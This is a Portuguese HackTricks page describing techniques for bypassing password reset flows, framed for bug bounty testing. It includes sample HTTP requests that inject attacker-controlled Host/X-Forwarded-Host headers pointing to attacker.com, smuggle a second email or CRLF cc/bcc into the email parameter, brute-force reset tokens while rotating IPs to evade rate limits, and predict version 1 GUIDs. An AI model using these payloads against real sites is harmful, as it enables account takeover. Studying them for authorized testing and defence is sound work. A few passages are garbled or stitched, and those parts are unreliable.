14 KiB
Bypass de Redefinição/Esquecimento de Senha
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.
Siga HackenProof para aprender mais sobre bugs web3
🐞 Leia tutoriais de bugs web3
🔔 Receba notificações sobre novos programas de recompensa por bugs
💬 Participe de discussões na comunidade
As seguintes técnicas de recompilação foram retiradas de https://anugrahsr.github.io/posts/10-Password-reset-flaws/
Vazamento de Token de Redefinição de Senha Via Referer
O HTTP referer é um campo de cabeçalho HTTP opcional que identifica o endereço da página da web que está vinculada ao recurso sendo solicitado. O cabeçalho de solicitação Referer contém o endereço da página da web anterior a partir da qual um link para a página atualmente solicitada foi seguido.
Exploração
- Solicite a redefinição de senha para o seu endereço de e-mail
- Clique no link de redefinição de senha
- Não altere a senha
- Clique em qualquer site de terceiros (por exemplo: Facebook, Twitter)
- Interceptar a solicitação no proxy do burpsuite
- Verifique se o cabeçalho referer está vazando o token de redefinição de senha.
Impacto
Isso permite que a pessoa que tem o controle de um site específico altere a senha do usuário (ataque CSRF), porque essa pessoa conhece o token de redefinição de senha do usuário.
Referência:
- https://hackerone.com/reports/342693
- https://hackerone.com/reports/272379
- https://hackerone.com/reports/737042
- https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
- https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
Envenenamento de Redefinição de Senha
Se você encontrar um ataque de cabeçalho de host e estiver fora do escopo, tente encontrar o botão de redefinição de senha!
Exploração
- Interceptar a solicitação de redefinição de senha no Burpsuite
- Adicione o seguinte cabeçalho ou edite o cabeçalho no burpsuite (tente um por um)
Host: attacker.com
Host: target.com
X-Forwarded-Host: attacker.com
Host: target.com
Host: attacker.com
- Verifique se o link para alterar a senha dentro do e-mail está apontando para attacker.com
Correção
Use $_SERVER['SERVER_NAME']
em vez de $_SERVER['HTTP_HOST']
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
Impacto
A vítima receberá o link malicioso em seu e-mail e, ao clicar, vazará o link/token de redefinição de senha do usuário para o atacante, levando à tomada completa da conta.
Referência:
- https://hackerone.com/reports/226659
- https://hackerone.com/reports/167631
- https://www.acunetix.com/blog/articles/password-reset-poisoning/
- https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
- https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
Redefinição de senha manipulando o parâmetro de e-mail
Exploração
- Adicione o e-mail do atacante como segundo parâmetro usando &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- Adicione o email do atacante como segundo parâmetro usando %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- Adicione o email do atacante como segundo parâmetro usando |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- Adicione o email do atacante como segundo parâmetro usando cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- Adicione o email do atacante como segundo parâmetro usando bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- Adicione o email do atacante como segundo parâmetro usando ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
- Adicione o email do atacante como segundo parâmetro no array json
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
Referência
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
Alterando o Email e a Senha de Qualquer Usuário por meio de Parâmetros da API
Exploração
- O atacante deve fazer login em sua conta e ir para a função de alteração de senha
- Inicie o Burp Suite e intercepte a solicitação
- Após interceptar a solicitação, envie-a para o repetidor e modifique os parâmetros Email e Password
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
Referência
Sem Limite de Taxa: Bombardeio de E-mails
Exploração
- Inicie o Burp Suite e intercepte a solicitação de redefinição de senha
- Envie para o intruder
- Use carga útil nula
Referência
Descubra como o Token de Redefinição de Senha é Gerado
Descubra o padrão do token de redefinição de senha
Se ele for
- Gerado com base no Timestamp
- Gerado com base no UserID
- Gerado com base no e-mail do usuário
- Gerado com base no nome e sobrenome
- Gerado com base na data de nascimento
- Gerado com base em criptografia
Use o Burp Sequencer para encontrar a aleatoriedade ou previsibilidade dos tokens.
GUID Adivinhável
Existem diferentes tipos de GUIDs:
- Versão 0: Apenas visto no GUID nulo ("00000000-0000-0000-0000-000000000000").
- Versão 1: O GUID é gerado de maneira previsível com base em:
- O tempo atual
- Uma "sequência de relógio" gerada aleatoriamente que permanece constante entre GUIDs durante o tempo de atividade do sistema gerador
- Um "ID de nó", que é gerado com base no endereço MAC do sistema se estiver disponível
- Versão 3: O GUID é gerado usando um hash MD5 de um nome e namespace fornecidos.
- Versão 4: O GUID é gerado aleatoriamente.
- Versão 5: O GUID é gerado usando um hash SHA1 de um nome e namespace fornecidos.
É possível dar uma olhada em um GUID e descobrir sua versão, há uma pequena ferramenta para isso: guidtool****
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426
Se a versão utilizada para gerar um GUID de redefinição de senha for a versão 1, é possível realizar um ataque de força bruta nos GUIDs:
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c
Referências
Manipulação de resposta: Substituir uma resposta ruim por uma boa
Procure por solicitações e respostas como estas
HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
Reset Password
Description
This page will describe some techniques to reset passwords in different scenarios.
Change Response
Descrição
Esta página descreverá algumas técnicas para redefinir senhas em diferentes cenários.
HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
Referência
Usando Token Expirado
- Verifique se o token expirado pode ser reutilizado.
Força Bruta no Token de Redefinição de Senha
Tente fazer força bruta no token de redefinição de senha usando o Burpsuite.
POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
- Use o IP-Rotator no burpsuite para burlar o limite de taxa baseado em IP.
Referência
Tente Usar Seu Token
- Tente adicionar o token de redefinição de senha com a conta da vítima.
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$
Referência
Invalidação de Sessão no Logout/Reset de Senha
Quando um usuário faz logout ou reseta sua senha, a sessão atual deve ser invalidada.
Portanto, capture os cookies enquanto o usuário está logado, faça logout e verifique se os cookies ainda estão válidos.
Repita o processo alterando a senha em vez de fazer logout.
Tempo de Expiração do Token de Reset
Os tokens de reset devem ter um tempo de expiração, após o qual o token não deve ser válido para alterar a senha de um usuário.
Verificações Extras
- Use username@burp_collab.net e analise o retorno
- Usar carbon copy email=victim@mail.com%0a%0dcc:hacker@mail.com
- Senha longa (>200) leva a DoS
- Adicione um segundo parâmetro de email e valor
Siga HackenProof para aprender mais sobre bugs web3
🐞 Leia tutoriais de bugs web3
🔔 Receba notificações sobre novas recompensas por bugs
💬 Participe de discussões na comunidade
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.